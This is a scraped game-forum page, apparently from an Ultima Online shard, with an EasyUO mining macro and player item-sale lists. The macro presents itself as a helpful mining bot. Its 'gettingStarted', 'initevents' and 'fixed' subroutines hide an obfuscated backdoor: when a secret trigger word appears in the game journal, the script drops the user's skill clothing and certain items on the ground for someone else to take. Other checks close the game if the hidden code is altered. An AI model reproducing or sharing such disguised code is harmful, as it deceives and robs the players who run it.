Pyroman

Crystal plat!
Продал уже!

Как можно зделать щтобы он выкидавал Lead,Corrundum,Tin,Bronze и Tourmaline??

; Set Up The Following Variables:

set %maxWeight 624; Max ves

set %box BEEJMMD; ID korobki, gde sbrasivatj rudu

set %foodCont BFCUKMD; ID korobki, gde stoit zapasi moloko i bekona

set %xCoord 2501; X koordinata okolo boxa

set %yCoord 1278; Y koordinata okolo boxa

set %dropMarganece #true; #true - sbrasivajet Marganece rudu , #false - net

set %skillItemChange #false; #true - menjajet skill shmotki, #false - net

set %recall #true; #true - letajet s runebook, #false - begut peshkom

; Do Not Set These Items If %skillItemChange #false

set %skillRobe KIOSJMD; Skill Roba (ID)

set %skillCloak TCNSJMD; Skill Cloack (ID)

set %skillMask YSNSJMD; Skill Mask (ID)

set %simpleRobe UTRVLMD; Prostaja Roba (ID)

set %simpleCloak VARVLMD; Prostoj cloack (ID)

set %simpleMask OSH; Platemail helm (TYPE/ID)

; End Of Changable Clothes List

; Do Not Set These Numbers If %recall #false

set %runebookID ALTLMMD; ID runebooka

set %runeNumberToHome 2; Nr runi na dom

set %runeNumberToCave 10; Nr runi na kopalku

set %amountRecalls 10; Skolko recallov vzjatj, kogda ix netu

; Delays (Zaderzhki) [ 20 = 1 second ]:

set %dropDelay 45; Skolko zhadtj mezhdu kidanii rudi na zemlju

set %lootDelay 45; Skolko zhdatj mezdhu loota predmetov

set %dropDelay 45; Skolko zhdatj mezhdu kidanii rudi v korobke

set %equipDelay 8; Skolko zhdatj mezhdu proverki odevanii skill veshej

; End Of Set Up Part



set %item DWJ_TVj_GWJ_EWJ_ZLK_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_UJG_DCI_FWL_NZH

set %loot DCI_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_NZH_UJG_FWL



if %recall

{

gosub Instalyze runeNumberToHome 1

gosub Instalyze runeNumberToCave 2

}

finditem QRM_FJM_GKM C_ , #backpackid

if #findcnt <> 0

{

set #lobjectid #findid

event macro 17 0

wait 30

}

set %skill %skillRobe , _ , %skillCloak , _ , %skillMask

gosub gettingStarted

gosub initevents

set %k 0

set %lastK 0



start:; KOORDINATI





 





goto start



sub ljing

set %k %k + 1

gosub ghost

gosub checkHP

gosub element

gosub checkWeight

move %1 %2 1

finditem NPF_QPF C

if #findcnt = 0

{

display ok Pickaxe wasn't found!

pause

}

set #lobjectid #findid

event macro 17 0

target 7s

set #ltargetx %1

set #ltargety %2

set #ltargetkind 3

set #ltargettile %3

event macro 22 0

wait 10

set %overtime #scnt + 25

gosub scan

return



sub checkWeight

if #weight > %maxWeight

{

if ! %dropMarganece

{

if %recall

gosub port

if ! %recall

gosub moveItems

}

if %dropMarganece

{

gosub dropMarganece

return

}

}

if %afk <> true || %else <> IJG

gosub ghost 1

return



sub scan

scan:

scanjournal

gosub checkHP

if hungry in #sysmsg

{

gosub eat

return

}

if ( ( THERE_IS_NOTHING_HERE_TO_MINE in #sysmsg ) || ( You_stop_Mining in #journal ) )

return

if ( ( YOU_CAN'T_REACH_THIS in #sysmsg ) || ( You_fail_to_do_that in #sysmsg ) )

return

%get fixed

if ( ( Try_mining_elsewhere in #sysmsg ) || ( You_have_no_line_of_sight_to_that_location in #sysmsg )

+ || ( You_can't_use_the in #journal ) || ( You_cannot_mine_so_close_to_yourself in #journal ) )

return

gosub element

gosub checkHP

if #scnt >= %overtime

return

goto scan

return



sub port

msg .arm$

gosub checkHP

set %k %k + 1

gosub element

if G in #charstatus

event macro 6 0

event macro 6 0

set %oldPosX #charposx

set %oldPosY #charposy

gosub openRunebook

repeat

{

click %x1 %y1

wait 20

}

until #contname <> generic_gump && #contsize <> 577_426

event macro 13 21

while #charposx = %oldPosX && #charposy = %oldPosY

wait 10

gosub moveItems

gosub back

return



sub moveItems

ignoreitem reset 1

ignoreitem %simpleRobe , _ , %simpleCloak 1

ignoreitem %skill 1

gosub runToBox

event macro 13 21

finditem %box G_3

wait 10

if #findcnt = 0

{

event Sysmessage Box Not Found!

halt

}

repeat

{

finditem %item c_ , #backpackid

if #findcnt >= 1

{

if world_save_has_been in #sysmsg

wait 15s

exevent Drag #Findid #findstack

exevent Dropc %box

wait %dropDelay

}

}

until #findcnt = 0

ignoreitem reset 1

if %recall

gosub recalls

gosub food

return



sub back

gosub checkHP

set %oldPosX #charposx

set %oldPosY #charposy

for %i 1 2

{

gosub openRunebook

click 261 215; Recharge runebook 2x

wait 10

}

gosub openRunebook

repeat

{

click %x2 %y2

wait 20

}

until #contname <> generic_gump && #contsize <> 577_426

event macro 13 21

while #charposx = %oldPosX && #charposy = %oldPosY

wait 10

return



sub runToBox

repeat

{

move %xCoord %yCoord 0 3s

wait 10

}

until #charposx = %xCoord && #charposy = %yCoord

return



sub follow&kill

msg .arm$

set %charX #charposx

set %charY #charposy

set %charz #charposz

repeat

{

finditem #enemyid

event pathfind #FINDX #FINDY #FINDZ 1 3s

wait 1s

gosub ghost

}

until #findcnt = 0

wait 20

gosub loot

set %time #scnt + 20

repeat

{

event pathfind %charX %charY %charz 1 3s

wait 1s

gosub ghost

if #scnt > %time

return

}

until #charposx = %charX && #charposy = %charY

return



sub checkHP

if #hits < #maxhits

{

msg .arm$

sound

if %skillItemChange

gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak

gosub follow&kill

if %skillItemChange

gosub changeClothesTo %skillMask %skillRobe %skillCloak

}

return



sub openRunebook

finditem %runebookID C_ , #backpackid

if #findcnt = 0

{

event sysmessage Runebook not found!

halt

}

set #lobjectid #findid

event macro 17 0

while #contname <> generic_gump && #contsize <> 577_426

wait 1

return



sub ghost

if #charghost = YES || %0 = 1

{

terminate uo

halt

}

return



sub changeClothesTo

repeat

{

finditem %1 C_ , #backpackid

set #lobjectID #findid

event macro 17 0

wait %equipDelay

finditem %1 C_ , #backpackid

}

until #findcnt = 0

repeat

{

finditem %2 C_ , #backpackid

set #lobjectID #findid

event macro 17 0

wait %equipDelay

finditem %2 C_ , #backpackid

}

until #findcnt = 0

repeat

{

Finditem %3 C_ , #backpackid

set #lobjectID #findid

event macro 17 0

wait %equipDelay

finditem %3 C_ , #backpackid

}

until #findcnt = 0

return



sub fixed

set %k %k + 1

%to %bca %be # . %all

{

repeat

{

set %up # . %cares

%done %start , _ , %else %end , _ , %up

%lastdo %race # . %Wsave

%lastdo %eaea # . %alpha # . %beta # . %gamma

%upgrade 25

%done %start , _ , %else %end , _ , %up

}

until # . %gems = 0

}

return



sub eat

finditem ZBM C

set #lobjectid #findid

event macro 17 0

wait 10

finditem GND C

set #lobjectid #findid

event macro 17 0

wait 10

event macro 17 0

wait 2s

return



sub initevents

set %rescourse finding

str left %rescourse 4

set %save #strres

set %done %save , item

set %iii kill

str left string 1

set %asd #strres , %iii

set %start % . %asd

str left CADY 1

set %end #strres

str left character 4

set %who #strres

set %cares %who , id

str left %do 4

set %lastdo ex , #strres , t

set %race dragrace

str left %race 4

set %race #strres

set %Wsave %save , id

str right skopg 3

set %jasl #strres

str left drive 2

set %eaea #strres , %jasl

str left post 3

set %number %who , #strres

set %alpha %number , x

set %beta %number , y

set %gamma %number , z

set %repsawn waitrespawn

str left %repsawn 4

set %upgrade #strres

str left tilbery 3

set %almost #strres

str left unuquady 2

set %past #strres , %almost

set %gems %save , cnt

set %else IJG

return



sub Instalyze

if % . %1 <= 8

set %x . %2 260

else

set %x . %2 420

if % . %1 = 1 || % . %1 = 9

set %y . %2 260

if % . %1 = 2 || % . %1 = 10

set %y . %2 275

if % . %1 = 3 || % . %1 = 11

set %y . %2 290

if % . %1 = 4 || % . %1 = 12

set %y . %2 305

if % . %1 = 5 || % . %1 = 13

set %y . %2 320

if % . %1 = 6 || % . %1 = 14

set %y . %2 335

if % . %1 = 7 || % . %1 = 15

set %y . %2 350

if % . %1 = 8 || % . %1 = 16

set %y . %2 365

return



sub dropMarganece

dropLoop:

finditem DWJ C_ , #backpackid

if #findcnt = 0

{

wait 20

if #weight >= %maxweight

{

if %recall

gosub port

if ! %recall

gosub moveItems

return

}

if #weight < %maxweight

return

}

if #findcol = 1750

{

exevent drag #findid #findstack

exevent dropg #charposx #charposy #charposz

wait %dropDelay

}

ignoreitem #findid 1

goto dropLoop

return



sub loot

set %lootTime #scnt + 20

finditem YFM G_4

if #findcnt >= 1

{

set #lobjectid #findid

set %body #findid

event macro 17 0

while #contkind <> ASEB && #contsize <> 144_212 && %lootTime > #scnt

wait 1

wait 10

repeat

{

finditem %loot C_ , %body

if #findcnt = 0 || #scnt > %lootTime

{

ignoreitem %body 2

return

}

exevent drag #findid #findstack

exevent dropc #backpackid

wait %lootDelay

}

until #false

}

return



sub gettingStarted

set %afk true

set %ell qaerty

str left %ell 1

set %abc #strres , #strres , #strres

set %a1 #strres

str left %ell 2

str right #strres 1

set %cba %abc , #strres , %a1

set %bca %cba , #strres

str right %afk 1

set %bca %bca , #strres

set %bra %bca , b

set %n1 nlogif

str right %n1 2

set %to #strres

str left %n1 1

set %be #strres

str right %n1 2

str left #strres 1

set %be #strres , %be

set %tour jour

set %navigate nalliwate

str left %navigate 3

set %all %tour , #strres

set %navigate gost

str left %navigate 3

set %ac #strres

str right pub 2

set %get %ac , #strres

set %do events

str right linit 4

set %toGo #strres , %do

return



sub element

if %lastK >= %k

gosub ghost 1

set %lastK %k

finditem ED G

if #findcnt <> 0

{

msg .arm$

set %charX #charposx

set %charY #charposy

set %charz #charposz

sound

if %skillItemChange

gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak

finditem ED G

set %element #findid

msg .arm$

set #ltargetid %element

event macro 27 0

repeat

{

finditem %element

event pathfind #FINDX #FINDY #FINDZ 1 3s

wait 1s

gosub ghost

}

until #findcnt = 0

wait 20

gosub loot

if %skillItemChange

gosub changeClothesTo %skillMask %skillRobe %skillCloak

set %time #scnt + 20

repeat

{

event pathfind %charX %charY %charz 1 3s

wait 1s

gosub ghost

if #scnt > %time

return

}

until #charposx = %charX && #charposy = %charY

}

return



sub recalls

finditem WTL C_ , #backpackid

if #findstack <= 2 || #findcnt = 0

{

set #lobjectid %box

event macro 17 0

while #contid <> %box

wait 1

wait 10

finditem WTL C_ , %box

exevent drag #findid %amountRecalls

exevent dropc #backpackid

wait 30

}

return



sub food

finditem ZBM C_ , #backpackid

if #findcnt = 0

{

set #lobjectid %foodCont

event macro 17 0

while #contid <> %foodCont

wait 1

finditem ZBM C_ , %foodCont; 1 pitcher of milk

exevent drag #findid 1

exevent dropc #backpackid

wait 30

}

finditem GND C_ , #backpackid

if #findcnt = 0

{

finditem GND C_ , %foodCont

exevent drag #findid 4; 4 baocn slices

exevent dropc #backpackid

wait 30

finditem ZBM C_ , %foodCont; 1 pitcher of milk

exevent drag #findid 1

exevent dropc #backpackid

wait 30

}

return

Elfian bow (Joust) 32/50
Elfian bow (poison flames) 41/50
Sash of mana +3 new
Sash of Health +3 38/50
Sash of health +3 14/50
2 hat of earth 12/50 , 45/50
arms of earth 45/50
dragon ring armor 6 drb
earth siski 7 drb
mana sash +5 32/50
fire tunic drb 6
3 Repair crystals +1
Spell Robe NEW!

skype bagbyguru

Gribēju padiskutēt par Newbie Dungeon palielināšanu. Ja ir 4+ cilvēku dungeonā, tad nav tolka tur vispār iet kachaties.

SELL
Tunic of Fire 6/50
The Inquisitors Resolution 22/50
Sash of Mana +5 32/50
Gloves of Dark Magic 49/50
Sash of Mana +3 New!
Arms of Earth 45/50
Pants of Air New!
Barbarian Shield 21/50
Elfian Bow(poision flames) 41/50
Dragon Ringmail Tunic 6/11
Tunic of Earth 7/12
Sash of Heal +3 13/50
Hat of Earth 12/50
Elfian Bow(Joust) 32/50
Frozen Bow (EIF) 35/50